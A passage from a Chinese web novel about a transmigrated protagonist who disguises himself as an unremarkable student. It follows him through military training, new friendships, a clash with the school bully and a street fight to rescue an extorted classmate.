除了身边站着的一名红发男生,老是会向他投来不爽的视线。
听周围人说,那人叫楚翎川,是广城一带出了名的混混头子,挑衅滋事无数,镇上的大人都让自家孩子离他远些。
楚翎川坐在第一组最后面,靠着门。
身边和他一样围满了人,不过不是朋友,都是他的小弟。
他们正谄媚地说些什么,楚翎川靠在椅背上,长腿踩着课桌下面的横梁,不出声,有一搭没一搭地划着手机。
广城职中和别的重点高中不一样,不管染发,也不管手机,校规摆在那,全靠自觉。
但那身代表着学校的宽大校服又是必须穿的,若是不穿,被发现就会罚款20元。
这对镇上每个月没多少零用钱的学生来说,是一大酷刑。
不然,吊车尾云集的10班,大概一半以上的人不会穿校服,剩下的人是懒得想穿什么。
当时叶峻刚说完
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“可以啊”三个字,就听见“哐当”一声,坐在最后头的楚翎川推开桌子,站起身。
叶峻远远看着他大踏步靠近,以一种极为不满的视线仔细打量着他。
“早上那会儿,你是不是在夕水街上奔跑。”
懵了一瞬,叶峻眨巴着眼睛,点了点头。
“你撞到了老子也不道歉。”
还害我的包子被狗抢了,后面一句楚翎川没说,丢人。
“啊啊真的吗?非常抱歉!这位同学,那个时候我急着追人,所以就没看路,原来当时撞到你了啊!真是不好意思,是不是有哪里受伤了,需不需要我赔偿?多少钱?可是我只有饭卡,没有现金,不然...”
叶峻听到身旁人的话,想起当时确实看到一抹红色的身影踉跄了一下,连忙羞愧地站起来道歉。
楚翎川看着面前比自己还高了一点儿的卷毛头,只觉耳边“嗡嗡”,开始后悔自己来找他麻烦。
“停停停,闭嘴。你小子是机关枪吗?老子才说了一句话,你就一轮嘴说十句话。”
“额,抱...抱歉。”说完,叶峻蔫蔫地垂着脑袋,闭上了嘴。
“算了,瞧你这么副弱鸡样儿,老子放你一马。”
楚翎川不耐地看着面前的人,给自己找了个台阶下。
但免不了觉得丢面子,所以上午军训的时候,楚翎川总是不爽地瞪着叶峻。
刚将擦汗的手放下来,听到教官要他们和另外一个班比拉歌,叶峻也好奇地抬头望去。
这一抬头,就和对面同样抬头的一人对上了视线。
熟悉的黑色镜框,和那双平淡无波的褐色眼睛。
是姜明,他终于找到姜明同学了。
叶峻圆润的眼瞳里闪着光,连忙挥手向自己的好兄弟打招呼。
要不是不能随便离开队伍,他恨不得立刻插上翅膀飞过去。
可是姜明却突然低下头。
他是没看到自己吗?他会不会是忘了自己啊?不对,可能是因为太远了,大家又都穿的一样,所以姜明没看清是谁。
放下手的叶峻同学,非常兴奋,具体表现为他刚擦干的额头又冒出豆大的汗珠。
因为他知道姜明是1班的了,好厉害啊,不愧是他的好兄弟。
跑的又快,脑子还这么聪明。
那自己还配做他的好兄弟吗?想到这,叶峻突然失落地也低下脑袋。
一旁的楚翎川:……
这卷毛头的心情是坐过山车吗?不仅嘴上话多,心里也挺热闹。
不过,看他刚刚挥手的方向,那个是他认识的人吗?
楚翎川将手中的军帽拿下来,朝着自己的脸扇风。
他的红发被汗水打湿,贴在他的脸颊上,蜜色的皮肤在阳光下浸得发亮。
就在他的视线随意地扫着四周时,一个身影突然吸引住他的目光。
是那个女生。
楚翎川恨恨地鼓了鼓腮帮子。
那个昨天在他家小卖部买过东西的女生。
她付钱的时候笑的很甜美,眼里却很空。
抬头看见他眉尾的疤痕时,女生空洞的眼神中突然露出了不屑之色,很快又被她掩了去。
却被站在收银台前的楚翎川完整地瞧见了,收回了原本想帮女生扶一把袋子的手。
女生买了很多东西,袋子的把手将她白皙的手指勒出了红印。
楚翎川觉得自己今天莫名点背,见那女生坐在树荫底下,一反常态地将眼睛看着一个方向。
他也将视线投了过去,又是那个人。
楚翎川眯着细长的眼,仔细地扫着那个正在发呆的人。
没发现多特别啊?不就是一个四眼仔儿吗?看着那么瘦,一看就弱不禁风。
怎么一个两个的都看着他。
楚翎川无所谓地想着,腹诽道。
四眼仔·弱不禁风·江霁明盯着前面的后脑勺:
一会儿拉歌他要唱出声,还是就做个嘴型?不行,还是唱吧,影响扮演进度前面就白费了。
完全忽视了几道盯着他的目光。
15. 成为朋友
烈日当空,绛红的塑胶跑道被烤得发烫,和海蓝色的迷彩服撞在一块儿,形成了明亮的视觉冲击。
空气粘稠地流动着,混杂着刺鼻的橡胶味,被突然响起的嘹亮军歌声冲散了。
“东风吹,战鼓擂,要拉歌,谁怕谁?”
“叫我唱,我就唱,我的面子往哪放!咩~”
许是1班和10班的人天生就气场不合,这一场拉歌比得热火朝天。
尤其是10班,最后这一声“咩~”,喊得格外欠揍,让江霁明差点崩人设,最后强行压下自己的嘴角。
嗓门最响的就属对面的叶峻了,生怕江霁明注意不到自己似的。
但1班这群尖子生也不是吃素的,领头的谢知韫像是脑子里有个歌词库,15分钟的拉歌赛,歌都不带重样儿的。
最后所有人都唱的脸红脖子粗的,也没分出一个胜负。
反而大家都纷纷放下了因好班差班而产生的隔阂,打成了一片。
再加上教官相识的缘故,两个班自然而然就开始一块儿休息。
拉歌后,休息时间还有15分钟,有人提出可以表演节目。
第一个自告奋勇上场的就是叶峻。
一身海蓝的迷彩服的少年在阳光下显得英姿飒爽,他单手撑着地就站了起来,在身边人的起哄声中走到两个队伍之间的空地上。
“叶哥,你今天也太积极了吧!是想让谁看见啊?”
“对啊,叶哥,是不是喜欢谁啊?哪个女生啊,让兄弟我看看,漂亮不?”
闻言,叶峻顿时慌了,小麦色的皮肤都能看出染了红,他连忙摆手否认道:
“没...没有,你们别胡说,我哪有什么喜欢的女生啊!我不是一直这样吗?没想让谁看...”
他一边说着,一边偷偷地瞥向旁边,就对上了江霁明戏谑的眼神。
一张脸霎时红透了,简直能滴出血来,支支吾吾地说不出下文来。
“行行行,没有没有,叶哥来唱一个《告白气球》啊!”
“对!来一个!来一个!”
底下的男生看叶峻一副羞涩的小媳妇样,也懒得揭穿了,再次起哄。
叶峻闻言也不扭捏,张嘴就唱。
“...你说你有点难追,想让我知难而退...亲爱的,爱上你,从那天起,甜蜜的很轻易。”
少年的嗓音清晰而磁性,像是一抹阳光洒在大地上,温暖而明亮。
就是,没一个字在调上。
唱完之后,全场爆发出了雷霆般的笑声,气氛变得异常热烈,所有人都鼓着掌,陷入了欢乐的海洋。
叶峻自信地唱完,没管响起的笑声,立马扭头盯着坐在角落里的江霁明。
他露出一个期待的眼神,浅褐色的小狗眼似是被水洗过,如同黎明时分的初阳。
在叶峻的眼里,对面的少年静静地坐在那,穿着和别人一样的海蓝色迷彩服,仿佛发着光,这将他和众人分割开来。
少年的眼神看不出情绪,嘴角却露出个淡淡的笑来,手也跟着大家拍了几下。
见到这一幕,叶峻微微睁大了双眼,眼角眉梢都带着掩不住的喜悦,脸颊挂上一个大大的笑容,露出了一对虎牙。
然后,他又抿着嘴,笑的矜持起来,视线胡乱地扫向别处,向大家深深鞠了一躬就下去了,好像刚刚露出一口大白牙的不是他。
旁边人看着他这一副欲盖弥彰的表情,也不禁无语地小声吐槽道:
“叶峻这一副表白突然被心上人同意的毛头小子样儿,是生怕别人不知道啊!”
坐在一旁的谢知韫,脸色阴沉,银丝眼镜下的琥珀色瞳孔沉得发黑,像是暴风雨前的夜空,散发着令人不安的压抑气息。
自从他意识到自己对姜明的感情不再单纯,他就有点不知道该怎么面对姜明。
因为他不清楚对方会不会察觉到自己的感情后厌恶他,然后疏远他。
他们也不会再有之前那样和谐美好的独处气氛了。
然而,不知道这个傻大个是从哪儿冒出来的。
看他那一脸藏不住情绪的蠢样,难道还以为自己的那点小心思没被人察觉吗?
结果姜明居然对他笑了。
姜明还没对自己笑过。
想到这,谢知韫的手指深深地按进塑胶跑道里,修剪得很短的指尖也染了红色,不知是跑道掉了色,还是流了血。
后来又有几个人上去表演,江霁明闲散地坐着欣赏,只想感叹大家还挺多才多艺。
接着又是一成不变的军姿,齐步走,停止间转...
期间女主也有重新加入训练,不过练到一半还是会去休息。
江霁明不知道她为什么要这样逞强,不过也没再多管,毕竟每个人都有自己的坚持。
吃过晚饭后,江霁明便往宿舍走去。
谢知韫和他打了声招呼就很快回去了,像是急着要做些什么。
太阳落山后,职中的校园被一层黑雾罩着,透出丝丝凉意来。
暖黄的路灯下,江霁明脚步缓慢,享受着难得的寂静。
不过,他倏地止住脚步,没转头,轻声说了一句:
“出来。”
远远跟着江霁明的叶峻并不惊讶他会发现自己,因为他没掩盖自己的脚步声。
“姜明,你终于发现我啦!我好想...额,不对,我是说好久不见,早上我没找到你,你也没告诉我是哪个班级,我都不能来找你,幸好,我找到你了。”
叶峻双眼弯弯,背着手,走在江霁明身侧,比他稍后了两步距离。
是一种守护的姿态。
江霁明也没放慢脚步,自顾自地走在前面,不咸不淡应了一声:“嗯。”
“姜明,你...你觉得我今天唱的怎么样?他们都说我唱的好,但我不知道,我觉得他们在耍我,我...我想听你说。”
说到最后一句,叶峻的声音突然低了下去,变得含糊不清。
“不错。”
“真...真的吗?我好开...”
“是一场不错的诗朗诵。”
“啊!可我表演的是唱歌啊!难道很像诗朗诵吗?好糟糕,我果然什么都干不好...”
“我看的挺开心的。”当时江霁明看着叶峻明明跑调还一脸自信的傻样,被逗笑了。
闻言,叶峻笑容更灿烂了,他小心翼翼地靠近江霁明,语含期待地问:
“那姜明,你觉得,我们是朋友了么?”
看着离自己越来越近的栗色毛绒脑袋,江霁明伸出食指抵在叶峻的额上,将他的头推远了些。
“嗯,不过有一个条件。”
“什么条件?什么条件?我答应你!两个三个条件都没问题!只要你愿意当我的朋友!”
叶峻的头被推远了,也不恼,只缀在江霁明身后,小心地躲避着他的影子,生怕踩到了。
“就一个条件,在学校里不要表现出认识我。”言外之意,不要来班里找他。
“啊,为什么?那我还怎么和你当朋友呢!不不,我答应!我保证,叶峻绝对不会在学校里让别人发现姜明是他最好的朋友。那校外可以吗可以吗?我可以来你家找你玩吗?”
起初叶峻还有点不解,但看到江霁明面色冷淡,一副不想解释的模样,怕他反悔,连忙答应。
“那我可以加你的联系方式吗?姜明,我们已经是朋友了吧!朋友就要互相拥有对方的微信,然后每天睡前给对方发‘晚安’,第二天再一起上学。”
你以为谈恋爱啊?还互发晚安。
江霁明黑线,隐隐开始后悔,感觉宁静的生活要一去不复返。
他抛下一串数字,也不管叶峻记不记得
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住,便随意朝后摆了下右手,回了宿舍。
徒留后面的叶峻站在那,嘴里反复念着江霁明的手机号,眼睛亮的简直能驱散周围的一小片昏暗。
向来记忆力极差的叶峻,此刻已经把这串数字刻进了脑海里。
叶峻的朋友大作战——胜利!
回到宿舍的江霁明,在回应了汪洋热情的招呼声后,不经意抬头,就看见谢知韫端正地坐在桌前,脸被台灯的光照的一片模糊,拿着钢笔写着什么。
那认真严肃的劲儿,像是在制定什么关乎民族存亡的大计。
江霁明没有多余的好奇心,拿了换洗衣服就走进了浴室。
没错,自从发生中午那事儿,他就开始在浴室换衣服了。
洗完爬上床,江霁明掏出手机,打开通讯录。
里面有一条最新的申请记录,头像是一只柯基,名字叫一叶孤舟。
感觉头像和名字有种割裂感。
没细看申请记录里的一大串文字,江霁明随手点了接受,就将手机放到一边,闭眼睡觉。
另一边——
一回到宿舍,叶峻连帽子都没脱,就立马找出手机,打开微信,点开添加朋友,输入数字。
江霁明的微信头像是一朵蓝色的玫瑰,孤零零地放在纯黑的背景里,透着一股神秘。
名字只有一个字母——A。
搁通讯录里妥妥的第一位。
编辑了一大串文字后,叶峻发送了好友申请。
他眼巴巴地盯着微信聊天界面,期待着最上面出现那个头像。
过了好久,叶峻的聊天界面都没什么反应,除了一些新认识的同学给他发了一串消息,诸如:
XX:「叶哥,你喜欢的那个女生是1班的吗?」
XXX:「嘿,叶哥,真不够意思,有喜欢的人了却不告诉兄弟我啊!我帮你追啊!保准一追一个准!邪笑jpg.」
他看都不想看,直接不耐烦地忽略这些消息。
他和姜明的友谊是你们能诋毁的吗?他们可是最好的朋友。
终于,在舍友全都洗完澡,催促叶峻去洗澡的时候,他的聊天界面的最上端出现了一个蓝玫瑰头像。
叶峻立马点进去,界面上显示:
「你已添加了A,现在可以开始聊天了。」
他兴冲冲地开始打字,打一行发送一行。
一叶孤舟:「姜明姜明,我终于加上你啦!」
一叶孤舟:「小狗转圈jpg.」
一叶孤舟:「姜明你的头像真好看,你是喜欢蓝玫瑰吗?那我也喜欢好了。呲牙笑jpg.」
一叶孤舟:「要不我也把头像换成红玫瑰吧!好吗?这样看起来是不是更像好朋友了!星星眼jpg.」
等了好半天,屏幕上都只有自己的绿色气泡框,对面没有回应。
实在是有点晚了,叶峻只好不舍地放下手机,走进浴室。
洗了个战斗澡出来,叶峻三两下爬上床,趴在枕头上,又打开和A的聊天界面。
对面还是没回,叶峻挠了挠自己半湿的卷发,感觉姜明应该是睡觉了。
又打了几个字。
一叶孤舟:「姜明你是睡觉了吗?」
一叶孤舟:「晚安,好朋友。」
一夜安眠。
第二天,叶峻“唰”得一下睁开了眼皮,熟练地从枕头底下掏出手机,打开和姜明的聊天记录。
突然,叶峻那双浅褐色的眼睛发出了耀眼的金光,在床上疯狂打滚。
姜明回他啦!
只见聊天界面上——
A:「不好。」
意思是不准把头像换成红玫瑰。
但叶峻还是很开心,怕打滚动作吵醒舍友,忍耐着停下动作,转而抱着枕头傻笑:
今天,真是美好的一天呢~
16. 校霸找茬
昨晚睡的早,江霁明的生物钟自然地将他叫醒。
幸好002说这个眼镜道具有隐藏功能,不然他戴着这副眼镜怎么睡都不会舒服。
宿舍内的窗帘还拉着,浅淡的光沿着缝隙投进来,照在江霁明的脸上。
他的脸在昏暗的环境里被手机屏幕的光映得发白,桌面的绿色图标上面又挂着99+。
这时,江霁明才想起昨天加了某只小狗来着,这些消息里肯定有他的功劳。
果然,点进那个柯基头像,一连串的白色泡泡,最早发送时间就是他刚通过好友申请的时候。
江霁明快速扫了下叶峻发的消息,视线突然定在“红玫瑰”三个字上。
他有时候真搞不懂这小狗是真傻还是装傻。
情头和兄弟头区别还是挺大的吧。
他回了两个字:「不好。」
顺便将叶峻的备注改为了:麻雀犬。
刚点击发送,对面就秒回了,不知道的以为一夜没睡。
麻雀犬:「!!姜明你终于回我了!我还以为我加错人了呢!你起的好早啊,跟我一样早呢!好期待今天见到你啊~休息的时候我能来你的班级找你吗?能吗能吗?」
麻雀犬:「小狗哭泣jpg.」
A:「昨天的条件。」
麻雀犬:「小狗倒地jpg.」
A:「微笑jpg.」
江霁明今天的心情不错,随手也回了一个表情。
不管对面又像爆炸一样轰过来的消息,他放下手机,准备去洗漱。
上铺的梯子太窄,他索性双手抓住床边的栏杆,就翻到了地上,落地无声。
等江霁明洗漱并换完衣服出来的时候,起床的哨声也刚好响起。
舍友才纷纷惊恐地爬下床,一边穿衣服一边冲进浴室。
意外的是,向来不出一丝差错的谢班长,这次也起晚了,眼下还隐隐带着青黑,似是熬了个大夜。
“早安,姜明同学,你的作息很规律。”
“早,谢谢。”
可是,你的作息不太规律啊。
江霁明点了点头,就独自往楼下的集合点走去。
早上所有人都需要空着肚子,站20分钟军姿,才能去食堂吃早饭。
7点的操场,阳光就已经铺满了整个塑胶跑道。
等20分钟过去,每个人前面的地上,都有一小摊汗水汇聚形成的深红色印记。
早饭过后,又是和前一天重复的训练项目。
其他班经常会出现齐步走时故意同手同脚、下蹲时双手抱头等显眼包行为,自然,会被他们的教官罚以蛙跳15个。
然而,高一(1)班的尖子生们,在军训时也毫不懈怠,基本很少会被邱怀征叫出来罚训。
而江霁明也兢兢业业地扮演着他的无名小兵,表现不好不坏。
就是在每排单独出来齐步走的时候,他这排走的次数要更多些。
不过一排有12个人,江霁明又话少,除了喊口号之外,基本不会说话,存在感很低。
所以尽管邱怀征偶尔将视线放在他身上,江霁明仍然会维持着自己的社恐人设,不和他对上。
毕竟他的动作算不上多标准,但也挑不出很大的错误。
时间从指缝间悄然流逝,最后一颗沙砾落在地上的时候,已经是军训最后一日的列队表演赛了。
六天的严酷训练下,大家的肤色都黑了几个度,看起来十分健康。
这时,肤色原本白中泛黄的江霁明居然成了全班最白的人。
连谢知韫都不可避免地被晒黑了一点儿,这导致他这几天脸上连温和客套的笑容都没有了。
尤其是当他站在江霁明身边时,会显得他更黑。
这对他来说是巨大的打击,为此,谢知韫都在研究恢复肤色的配方。
江霁明很想告诉他,黑了的他比原来要顺眼。
之前的谢知韫像是摆在艺术馆中的白色雕塑,目空一切,又纤尘不染。
现在的他感觉更接地气。
然而,作为背景板的江霁明并不想这样被动地显眼。
但他的外表是由系统道具生成的,不会被太阳晒黑,所以只会维持最初的模样。
万幸,今天早上起来的时候,江霁明就听到002告诉他:
【大人,您辛苦了,背景板人设扮演度终于达到20%啦!】
接下来就是剧情点了。
江霁明回想起这几天邱怀征对自己似有似无的关注,对完成这次的剧情点并不抱希望。
这几天训练,1班经常会和10班一起休息。
而叶峻也很听话,并没有跑来找他说话。
只是每天晚上给他消息轰炸。
此外,江霁明还注意到10班有个红毛经常会时不时地看他,问了002说那是校霸男主。
剧情中校霸男主和背景板不是没什么交集吗?不过,多想无益。
他们崩他们的,只要别妨碍他扮演人设就行。
按照班级顺序,高一(1)班是第一个出场的。
然后依次往下是2班、3班……跟在他们班后头,沿着操场跑道排着。
站在队伍前头,江霁明双手握着班牌,收在胸前,微眯着眼等待广播声音。
刚才,他在经过谢知韫的时候,收到了对方的一句鼓励:
“加油,姜明同学,我相信你绝对没问题。我们都很期待在你的带领下拿到第一名。”
啊,谢谢你,那我可能要辜负你们的期待了。
“第一个出场的参赛方阵是高一(1)班。”
炽热的阳光穿透云层,在绛红的跑道上卷起金黄的漩涡,似是要融化一切。
一名身姿高挑挺拔的少年走在队伍的最前端,双手平举着写有“高一(1)班”的班牌。
他的步伐轻盈如风,每一步都从容有序,如同诗中的鼓点,流露出无法忽视的自信与淡然。
伴随着另一人的口号声,铸造出了一条无形的锁链,牵引着身后的人都情不自禁地跟着他的步伐。
整个方阵步伐整齐划一,铿锵有力,展现出了所向披靡的气势。
此刻,红色的塑胶跑道都化作了沙场,少年将军手握长枪,步履从容,运筹帷幄。
这一幕映入了楚翎川的眼中,他正呆呆地看着队伍最前面的少年。
而站在他旁边的叶峻已经开始编织对江霁明的脑内彩虹屁了。
走完半圈操场,高一(1)班的方阵便走进中间的绿茵草地,排着队观看其他班级的列队方阵。
江霁明站在队伍最前面,单手举着班牌,微不可察地松了下筋骨。
刚刚他为了避免出差错,全程都绷着自己的脊背,规规矩矩地迈着步子。
若是出差错,给全班丢了大脸,他怕是要立刻闻名全校。
完全看不见后面的情形,前面的江霁明只能随着自己的心意控制脚步的节奏。
不知道效果如何,总不会太糟糕吧。
他盯着旗杆,随意地想着。
很快,所有班级都展示完毕。
站在主席台上的是邱怀征。他正拿着话筒,宣布本次军训列队表演赛的名次。
“第三名,高一(3)班。第二名,高一(5)班。第一名...”
说到这,他顿了顿:
“高一(1)班。”
听到自己班拿了第一名,就算是再怎么遵守纪律的1班学生,也难免会发出小小的欢呼声。
短暂欣喜后,所有人便悄悄地注视着最前面少年的背影,眼睛亮亮的。
江霁明:如芒在背。
见他不自在地抖了抖身子,他们又纷纷移开视线。
“接下来,是本次的优秀标兵。”
每个教官会从自己班级中选出他认为最优秀和最突出的人。
和剧情中一样,1班的优秀标兵便是班长谢知韫。
他有多认真和努力,从他晒得黑了两个度的皮肤中就可以看出来。
而且因为戴着眼镜的缘故,他还晒出了印子。
这使他这段时间都避免和江霁明对视。
这时,江霁明的脑海中突然响起了002兴奋的声音:
【大人大人!剧情点完成了!】
既然这样也算完成,那么,他大概就清楚了系统判定剧情点是否完成的标准——
只看结果,不看过程。
之前提到的剧情点是,教官到训练最后一天,对原主也没有什么印象,这导致他最后没有得到优秀标兵。
而那个班委竞选的剧情点,重点是最后竞选班长失败,而不是得了多少票才失败,或是失败后是否当上其他班委。
这样能钻的空子还挺多的,只要最后结果符合,不管他使用什么手段都能完成剧情点。
【那么,这次是什么道具?】
【
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大人,这次是一个银色的戒指。只要戴上它,会散发一种方圆十里,生人勿近的气场。】
很适合后期扮演一个孤僻的角色。
江霁明摩挲着手上的戒指,戒身由两根交错的银色花枝构成,上面的叶片也雕刻得栩栩如生。
结营仪式后,通校生就要收拾行李回家了。
这所学校的大部分学生,都是住在附近的,所以很少有人会选择住校。
就在江霁明回教室收拾书包的时候,谢知韫来找他要联系方式。
“我有义务和其他班委保持联系。”
谢知韫盯着旁边的白色墙柱,一脸平静地说。
听到这话,江霁明拉上书包拉链,一双褐色的眸子隔着镜片,就那样静静地盯着他。
就在谢知韫有点不自在地扶了扶镜架,打算再补充几句的时候,就看到江霁明扬起嘴角,随意地回了句:
“行啊,班长嘛。”
谢知韫看到他的笑,愣了神。等他回过神的时候,手上已经被塞了一张纸条,面前的少年早就走了。
背着书包,江霁明沿着楼梯缓步往下走,刚打算转弯,就被一人拦住了。
面前的人双手插兜,斜斜地靠在墙上,一头张扬的红发在昏暗的楼道里,宛如流动的火焰,扬起的眉尾上那道白色疤痕让他看起来格外凶狠。
“喂,老子之前在广城怎么没见过你?你是外地人吗?叫什么名儿”
他一瞧见江霁明,就大步走过来,挡在他面前。
问这话的时候,红发少年的嘴角痞气的勾着,漆黑的眼眸直直盯着江霁明。
听到“老子”一词的时候,江霁明的情绪就已经淡了下来。
他面无表情地回道:“与你无关。”
语气很冷,像是初冬夜里的雨雪。
那人一听江霁明这般冷淡的话,也拉平了唇角,这使他身上的戾气更加明显。
“你居然敢这样对老子说话?你知道老子是谁吗?”
哪里来的中二少年。
“啊,不知道。”
江霁明不耐烦了,他想回家,自己已经不想再戴着这副眼镜了。
见他脸上一副“我不知道,也不想知道”的样子,对面的人也皱了眉,伸长手想要看江霁明的校牌。
就在对方刚看清他的校牌时,江霁明就抓住了他的手腕,因为用力,手背浮现出淡淡的青筋。
“啊啊啊痛痛痛,放...放开!”
江霁明等对方痛得弯下腰,才施施然放手。
不等那人抬起身子,他转身就离开了。
原本楚翎川正握着自己发疼的手腕,听到脚步声便连忙直起腰,对方已经走了。
他懊恼地用另一只手揉乱自己的头发,暴躁地喃喃:
“我靠!看起来柔柔弱弱的,力气怎么这么大。
老子不就是想认识你一下嘛!这么凶干嘛!不过,姜明,为什么有点耳熟呢?”
这边,江霁明快走到校门口的时候,便看到门口的石凳上坐着一人,抱着膝盖,埋着头。
是叶峻。
天色渐暗,光控路灯都自动亮了起来。
灯光洒在少年的背上,衬得他像是一团发光的球。
让人想起等待主人回家的小狗。
江霁明的脚步顿了下,缓步走到那人身后。
叶峻感觉自己突然被一个影子裹着,便转身仰起脸。
看清来人,他一下子跳起来,扬起灿烂的笑:
“等到你啦!姜明!我一直都没在校门口看到你,还以为你已经走了呢!我好饿啊!我终于可以和你一起回家了,我等这一天已经等了好久了。”
江霁明没出声,朝着一个方向走去,看叶峻没跟上来便放慢了脚步,扭头盯着他。
“姜明,你干嘛朝左边走呢?我们家不是在右边的方向吗?难道你已经忘了住在哪里吗?那我来带路吧!”
“你不是饿了?吃饭。”
江霁明还是没什么表情,转回身就继续往左边走。
“啊啊对对,左边是小吃街诶!我都忘了!姜明你等等我啊,好开心,可以和你一起吃饭诶!”
叶峻连忙追上江霁明,跟在他的斜后方。
他一边走,一边将双手抱在脑后。
好开心,原来姜明一直有在听他说话啊。
还以为他会和别人一样觉得烦呢!
姜明,果然是自己最好的朋友。
17. 英雄救美
校门口左转是一条夜市小吃街,灯光璀璨,各种香气和嘈杂声交织点缀着街头巷尾。
街头有一家牛肉面的生意很好,江霁明走进去的时候,见店内基本都坐满了,转身就想走。
叶峻视线紧紧地跟着江霁明,见他想走,立马就要追上。
就在这时,一对情侣刚好准备结账,看见这场景就热情地给他们让出位子。
“你们坐这里吧,我们刚好吃完了。”
情侣中的女生一边说,一边瞧了眼叶峻和前面的江霁明,露出过分热情的笑容。
叶峻没注意到她的眼神,只专注地看着江霁明,等他做决定。
江霁明也不想再多费心思,点了点头,便接受了他们的好意,忽略了女生那意味不明的笑。
“多谢。”
两人都点了一碗番茄牛腩面。
牛腩的量很足,面条筋道有弹性,和浓郁鲜香的番茄汤汁完美地融合在一起。
怪不得生意那么好。
这时,响起一道冷淡的男声,在这个嘈杂的环境中,却显得那么清晰。
“你觉得这面不好吃?”
听到江霁明的问话,叶峻懵懵地摇头:
“没有啊,我觉得超级好吃!不愧是姜明你选的店!”
“那你光说话不吃面。”
原来从面条端上来开始,叶峻又开始唠唠叨叨地诉说自己的喜悦。
“哦哦哦,好的!”
叶峻意识到自己的碎嘴惹江霁明不悦了,立马塞了一大口面。
等两人吃完面,天色也完全黑了下来。
站在门口的江霁明听到叶峻想要拜访自己家的请求,无情拒绝。
他觉得朋友之间需要适当保持距离。
关上门,江霁明就将道具眼镜摘下来,放到了玄关边的柜子上。
顶着别人的样子生活七天,还得装成社恐,让他感觉被无形的枷锁狠狠束缚了。
将书包挂在架子上,江霁明靠着沙发,拿出手机查看银行余额。
这张卡是他新办的,其他的卡在江云销发现他离家出走后,就吩咐秘书全部冻结了。
因为江云销还忙着对付上头的几个哥哥,没空来找自己的儿子,只能用这种行为来逼迫江霁明回去。
早就猜到这一点的江霁明,离家之后就迅速到银行取了一笔现金出来。
算上他之前曾在另一个镇上的拳馆里兼职做陪练,起初也攒了一笔钱。
然而,就在最近,他花两万多买了一辆摩托车。
他从小到大又是属于买东西从不看价格的人。
所以,江霁明现在手头有点紧。
就在他思索自己是不是应该再找一份兼职的时候,微信弹出了一条消息。
撒娇怪:「阿明,我又开了一家酒吧!」
撒娇怪:「就开在广城,离你租的房子很近呢~」
撒娇怪:「我想在酒吧搞个乐队,还差个键盘手,你有没有兴趣?工资包你满意哟~」
是发小发来的消息,还真是瞌睡送枕头。
A:「你要是把开酒吧的脑子用在公司经营上,你爸妈也不会天天嫌你没用了。」
A:「不过,你怎么知道我在广城?」
撒娇怪:「我就喜欢开酒吧嘛~不知道兴趣是成功之母吗?
你上次提了一嘴的,说广城的天气好热来着。那要不要来给我打工?呲牙笑jpg.」
江霁明思考了片刻,想到有熟人也比较方便,便同意了。
A:「行,时间地点发我。」
撒娇怪:「定位」
撒娇怪:「我现在就在呢!今晚9点开始,每周表演三场,四位数,来不来~」
A:「等着。」
回复完,江霁明就去卧室换了一身衣服。
白色背心外面套了件纯黑T恤,下身搭了条军绿的工装裤,腰上还束了条带链子的腰带。
墨蓝色的狼尾没有扎,柔顺地散在江霁明肩头,露出那条黑绳的狼牙项链,蓝黑相间,衬得他脖颈处的肤色更白。
换完衣服,江霁明又戴上了一个黑色医用口罩,只露出那双幽蓝色的凤眼。
出门前,他看了下猫眼,外头没有人影。
但想到碰上开门碰瓷事件的可能性,江霁明还是先把眼镜戴上了,打算下楼找个小巷子再摘下来。
小巷子里没有监控,江霁明并不想在监控下大变活人。
深夜的偏僻巷口,寂静无声,仿佛要被巨大的兽口吞噬,只有零星的几户亮着的灯提醒着人们它的存在。
月光似是也被阻在外面,无形的黑暗在小巷蔓延,是最适合罪恶滋长的土壤。
江霁明摘下眼镜后,便沿着狭窄的巷口往外走去。
远处,原本安静的巷口响起了几道凌乱的脚步声和一声极低的闷哼。
巷口边,几个废弃的纸箱堆上,躺着一个瘦弱的男生,面前围了四五个高大的青年。
“上次是不是说过每周要给哥几个交500块保护费啊?你小子躲这么多天,放学故意拖延,还绕这么远走,以为我们找不到你?”
“没...没有,嘶,我...我只是被老师留下来补习了。”
男生的声音很轻,中间夹杂着吃痛的抽气声。
“砰”——
男生柔软的腹部又被为首的青年重重踹了一脚,身体往后飞去,他身后的纸箱都被压烂了。
漆黑的头发凌乱地散在男生的脸上,遮住了他被扇得发红的脸颊,露出的嘴角有一道浅浅的血痕,像是落在雪地上凋零的梅花。
“别...别打了,求求你们,我现在没有钱。”
他嘴上不停地示弱着,被刘海遮住的眼里阴沉沉的,似是要淌出黑色的水。
而听到这话,踹人的青年又走了几步,蹲在他面前。
右手掐着男生的脸颊,强迫他仰起头,此时他的瞳孔被恐惧所填满,眼角却是干的。
“之前没仔细瞧,你小子长的还挺漂亮,跟女人似的。学校里是不是很多人叫你小娘炮啊!哈哈!”
“大哥,他长这么好看,哭起来肯定更好看!要不...”
恶意的嘲笑和不怀好意的话语扑面而来,男生突然奋力挣扎起来。
一束月光突然穿破漆黑的屏障,照进小巷,随之而来的还有一阵冷淡的男声:
“麻烦,让让,别挡道儿。”
只见一抹高挑的人影正直直地站在路中央,看不清脸,幽蓝色的瞳孔在暗处沉得发黑。
那几个人闻言,转身就想开骂,看到来人,话又噎了回去。
那人虽同样有着一双美到有点艳丽的眼,但神色却冷得如同冰刃,加上一米九的身高,气势逼人。
为首的青年仰视着他,想到身后还有四个手下,又镇定下来,客气地说道:
“这位兄弟,我们只是在处理自家事儿,你可别多管闲事,不然...”
说着,他无动声色地摸了下后腰,地上反射出了一片银光。
就在青年将手背到身后的一瞬,他的胳膊就传来了一阵火辣辣的疼痛。
来人已经不知何时出现在他的跟前,单手将他的手臂掰脱臼了。
在他反应过来,挥拳想要打上对方的太阳穴时,那人已经矮下身子,一肘击在他的肾上。
青年痛得佝偻着腰,身边的小弟也没有干等着,在他被攻击的第一时间就纷纷掏出家伙,围上来。
不过他们毫无章法的攻击,全都被那人轻松地侧身避开。
江霁明灵活地躲避着几人挥来的钢管,瞧准时机,抓住一人的手腕往后一折。
在他痛呼时,又抬腿一个直踢,将那人踢飞出去,力道极大,角度又巧妙,同时撞翻了后面上来的两人。
剩下的那人见势不妙,从靠在墙边痛苦喘气的老大身后掏出刀子,趁着江霁明刚准备收腿,直直地就往他身后刺去。
江霁明余光一直放在后面那人身上,早就准备好了,腿还没放下来,便顺势反身一个前低鞭腿,击向对方的膝关节。
等那人失去重心,扑倒在地的时候,他握刀的手已经被江霁明牢牢地踩在脚下了。
他用手指摩挲着脖子上被刀不小心划到的血痕,暗叹:
太久没练,身手退步了。
想到这,江霁明又不爽地碾了碾鞋底的手,那人又发出了一阵杀猪般的嚎叫。
